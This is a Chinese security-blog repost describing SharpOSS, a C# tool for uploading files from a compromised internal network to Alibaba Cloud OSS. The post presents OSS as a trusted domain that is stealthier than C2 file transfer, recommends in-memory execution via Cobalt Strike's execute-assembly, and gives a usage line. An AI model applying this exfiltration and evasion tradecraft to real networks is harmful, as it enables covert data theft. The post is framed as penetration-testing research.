SharpOSS-利用阿里云OSS实现内网渗透中的快速文件上传

admin
admin
admin
140350
文章
117
评论
2020年10月4日18:32:07评论773 views字数 499阅读1分39秒阅读模式

内网需求

“内网渗透的本质是信息收集”,常常会收集到一些体积较大的文件或者是源码进行分析利用。而网络情况复杂的情况下，通过菜刀一类webshell管理工具或CS一类C2工具来进行传输文件是非常慢的，所以经常会用到AliyunOSS来进行快速文件传输。同时aliyunOSS是白域名，比cs传输文件更为隐秘。就看了一下aliyun-oss-csharp-sdk实现了这个功能。

Usage

建议可内存加载，尽量用cs的execute-assembly内存加载，做到尽可能的不落地。

> SharpOSS.exeAuthor: UknowGithub: https://github.com/uknowsec/SharpOSSUsage:  SharpOSS.exe bucketName accessKeyId accessKeySecret endpoint UploadFilePath




github


https://github.com/uknowsec/SharpOSS


代码仅放出了主要部分，需要引用aliyun-oss-csharp-sdk。有兴趣的自行反编译exe。


关注公众号回复 SharpOSS 可直接获取下载地址。

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年10月4日18:32:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   SharpOSS-利用阿里云OSS实现内网渗透中的快速文件上传https://cn-sec.com/archives/149769.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息